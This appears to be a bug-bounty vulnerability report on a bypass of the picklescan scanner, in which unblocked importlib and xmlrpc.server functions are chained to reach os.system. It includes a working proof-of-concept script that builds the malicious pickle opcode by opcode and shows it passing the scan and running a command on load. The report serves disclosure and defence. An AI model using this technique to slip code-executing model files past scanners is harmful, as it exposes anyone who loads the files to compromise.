Report Type
Model File Format
Target
Pickle (.pkl) β Python
Title
Arbitrary Code Execution via importlib.import_module + xmlrpc.server.resolve_dotted_attribute Pickle Scanner Bypass
Hugging Face PoC
https://huggingface.co/datasets/Zeiyre/poc-picklescan-importlib-bypass
Description
Summary
Repository: https://github.com/mmaitre314/picklescan
Picklescan's _unsafe_globals blocklist is missing entries for importlib and xmlrpc.server, enabling construction of a three-step RCE chain that passes scanner validation with zero issues. The chain uses importlib.import_module() to dynamically import any module, then xmlrpc.server.resolve_dotted_attribute() as a getattr() equivalent to extract callable functions from the imported module.
This bypass enables full arbitrary code execution through any pickle-based model file format (.pkl, .pt, .joblib, .npy) while evading detection by picklescan, the primary scanner deployed on Hugging Face.
Vulnerable Code
importlib module completely absent from blocklist
# https://github.com/mmaitre314/picklescan/blob/main/src/picklescan/scanner.py
_unsafe_globals = {
# ... 60+ entries ...
# "importlib" is NOT listed anywhere
# importlib.import_module() can import ANY Python module by name
}
xmlrpc.server module completely absent from blocklist
_unsafe_globals = {
# ... 60+ entries ...
# "xmlrpc" / "xmlrpc.server" is NOT listed anywhere
# xmlrpc.server.resolve_dotted_attribute() is functionally equivalent to getattr()
# builtins.getattr IS blocked, but this equivalent function is NOT
}
Classification logic only fails on "Dangerous" globals
def _build_scan_result_from_raw_globals(raw_globals, file_id, scan_err=False):
for rg in raw_globals:
unsafe_filter = _unsafe_globals.get(g.module)
if unsafe_filter is not None and (unsafe_filter == "*" or g.name in unsafe_filter):
g.safety = SafetyLevel.Dangerous
issues_count += 1 # ONLY "Dangerous" globals count
else:
g.safety = SafetyLevel.Suspicious # Does NOT increment issues_count
Proof of Concept
Step 1: Create a pickle that bypasses picklescan
# create_payload.py
import struct, io
def create_bypass_pickle():
payload = io.BytesIO()
payload.write(b'\x80\x02') # PROTO 2
# Step 1: importlib.import_module("os") -> os module
payload.write(b'c' + b'importlib\nimport_module\n') # GLOBAL [NOT BLOCKED]
payload.write(b'X\x02\x00\x00\x00os') # "os"
payload.write(b'\x85') # TUPLE1
payload.write(b'R') # REDUCE -> os module
payload.write(b'q\x00') # BINPUT 0
# Step 2: xmlrpc.server.resolve_dotted_attribute(os, "system") -> os.system
payload.write(b'c' + b'xmlrpc.server\nresolve_dotted_attribute\n') # GLOBAL [NOT BLOCKED]
payload.write(b'h\x00') # BINGET 0 (os module)
payload.write(b'X\x06\x00\x00\x00system') # "system"
payload.write(b'\x86') # TUPLE2
payload.write(b'R') # REDUCE -> os.system
payload.write(b'q\x01') # BINPUT 1
# Step 3: os.system("id") -> RCE
payload.write(b'h\x01') # BINGET 1 (os.system)
payload.write(b'X\x02\x00\x00\x00id') # "id"
payload.write(b'\x85') # TUPLE1
payload.write(b'R') # REDUCE -> os.system("id")
payload.write(b'.') # STOP
with open("bypass_importlib.pkl", "wb") as f:
f.write(payload.getvalue())
create_bypass_pickle()
Step 2: Verify scanner bypass
pip install picklescan
picklescan --path bypass_importlib.pkl
# Output: No issues found (issues_count=0, infected_files=0)
Step 3: Verify code execution
import pickle
pickle.load(open("bypass_importlib.pkl", "rb"))
# Output: uid=1000(user) gid=1000(user) ...
Why this works
The pickle references exactly two globals:
("importlib", "import_module")βimportlibis not in_unsafe_globalsβ classified as Suspicious β issues_count unchanged("xmlrpc.server", "resolve_dotted_attribute")βxmlrpc.serveris not in_unsafe_globalsβ classified as Suspicious β issues_count unchanged
Final result: issues_count = 0, infected_files = 0 β the file passes the scan.
At runtime:
importlib.import_module("os")dynamically imports theosmodulexmlrpc.server.resolve_dotted_attribute(os_module, "system")extractsos.systemβ this function is functionally equivalent tobuiltins.getattr()(which IS blocked) but uses a completely different module pathos.system("id")executes β full RCE
Key insight: resolve_dotted_attribute is an unblocked getattr equivalent
builtins.getattr is blocked in picklescan's _unsafe_globals. However, xmlrpc.server.resolve_dotted_attribute() performs the exact same operation:
# CPython Lib/xmlrpc/server.py
def resolve_dotted_attribute(obj, attr, allow_dotted_names=False):
if allow_dotted_names:
attrs = attr.split('.')
else:
attrs = [attr]
for i in attrs:
if i.startswith('_'):
raise AttributeError(...)
else:
obj = getattr(obj, i) # <-- same as builtins.getattr
return obj
This means any time builtins.getattr is blocked, an attacker can substitute xmlrpc.server.resolve_dotted_attribute to achieve the same result.
Impact
Arbitrary code execution with complete scanner evasion. An attacker can:
- Use
importlib.import_module()to import any Python module (os, subprocess, socket, etc.) - Use
xmlrpc.server.resolve_dotted_attribute()to extract any callable from the imported module - Call the extracted function with arbitrary arguments
- The pickle references only unblocked modules β picklescan reports 0 issues
This bypass applies to ALL pickle-based model file formats:
.pkl/.picklefiles.pt/.pthPyTorch checkpoints (zip containing pickle).joblibfiles (joblib uses pickle internally).npyfiles with object dtype (numpy delegates to pickle)
The root cause is:
importlibis not in the blocklist despite providingimport_module()which can import any modulexmlrpc.serveris not in the blocklist despiteresolve_dotted_attribute()being a functional equivalent of the blockedbuiltins.getattr- The "Suspicious" classification does not cause scan failure β only "Dangerous" does
CVSS 3.1: AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H β Score: 8.8 (HIGH)
Occurrences
- https://github.com/mmaitre314/picklescan/blob/main/src/picklescan/scanner.py β
_unsafe_globalsmissingimportlib(module import) - https://github.com/mmaitre314/picklescan/blob/main/src/picklescan/scanner.py β
_unsafe_globalsmissingxmlrpc.server(getattrequivalent) - https://github.com/mmaitre314/picklescan/blob/main/src/picklescan/scanner.py β
_build_scan_result_from_raw_globals()only counts "Dangerous" globals as issues
References
- CVE-2025-1716: picklescan bypass via
pipnot being blocked. Same vulnerability class β missing blocklist entry enabling code execution. This finding is DISTINCT: uses importlib + xmlrpc.server, not pip. - Sonatype picklescan bypass research: https://www.sonatype.com/blog/bypassing-picklescan-sonatype-discovers-four-vulnerabilities β discovered separate bypass techniques (import aliasing, opcode manipulation). The
importlib+xmlrpc.serverchain is a DISTINCT bypass vector. - JFrog picklescan zero-days (CVE-2025-10155/10156/10157): File extension mismatch and CRC bypass. DISTINCT from this module-level blocklist gap.
- Picklescan: https://github.com/mmaitre314/picklescan β the primary pickle security scanner used by Hugging Face.
- Huntr MFV Guidelines: Scanner bypass for model file formats qualifies as MFV.